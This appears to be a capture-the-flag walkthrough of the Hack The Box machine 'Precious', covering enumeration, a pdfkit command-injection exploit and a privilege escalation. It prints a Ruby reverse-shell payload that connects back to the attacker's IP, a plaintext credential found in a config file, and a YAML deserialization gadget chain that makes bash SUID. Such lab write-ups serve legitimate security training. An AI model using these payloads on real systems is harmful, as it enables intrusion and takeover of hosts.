Skip to content

Precious 🔹

Enumeration

$ nmap -A -T4 --min-rate 5000 -p- -n -Pn --open 10.10.11.189
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 08:45 CEST
Nmap scan report for 10.10.11.189
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   40.71 ms 10.10.14.1
2   41.06 ms 10.10.11.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds

Add precious.htb to /etc/hosts and reescan

$ nmap -A -T4 --min-rate 5000 -p- -n -Pn --open precious.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 13:47 CEST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   40.12 ms 10.10.14.1
2   40.32 ms 10.10.11.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds

Now it says phusion passenger, that uses ruby

It seems like a tool that receives a web page and give us the pdf version. Testing it we got a pdf.

Initial Access

Using exiftool:

$ exiftool rgcanyb3vu0caawurc2uwjd69yt5jn5m.pdf 
ExifTool Version Number         : 13.10
File Name                       : rgcanyb3vu0caawurc2uwjd69yt5jn5m.pdf
Directory                       : .
File Size                       : 4.6 kB
File Modification Date/Time     : 2025:05:07 13:41:07+02:00
File Access Date/Time           : 2025:05:07 13:41:07+02:00
File Inode Change Date/Time     : 2025:05:07 15:57:50+02:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

So the pdf software is pdfkit v0.8.6 and using searchsploit

$ searchsploit pdfkit
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection                                  | ruby/local/51293.py
--------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

So adding ?name=%20sleep 5" - to the url we can inject a command. Let's use the already made script.

$ python 51293.py -s 10.10.14.13 80 -w http://precious.htb -p url

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.13","80"))'`
LOCALIP: 10.10.14.13:80
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 80".
WEBSITE: http://precious.htb
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.
$ sudo rlwrap nc -lnvp 80
[sudo] password for kali: 
listening on [any] 80 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.189] 60590
whoami
ruby

Privilege Escalation

Inside the home folder we find

ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Enter via SSH to have a better terminal and get the flag.

henry@precious:~$ cat user.txt
cat user.txt
8c5dfcdde2b268f08f1e93f81bbf74bb

Henry can execute as sudo a ruby script to update dependencies

henry@precious:~$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /opt/update_dependencies.rb
cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:/opt$ cat sample/dependencies.yml
cat sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6

Searching we found a ruby vuln https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ when loading a yml file, so change the yml to give suid bit to bash:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

Switch to root

henry@precious:~$ /bin/bash -p
bash-5.1# whoami
root

Post Exploitation

Get the flag

bash-5.1# cat root.txt
3e38cedfe78832fffb4d9068f474e229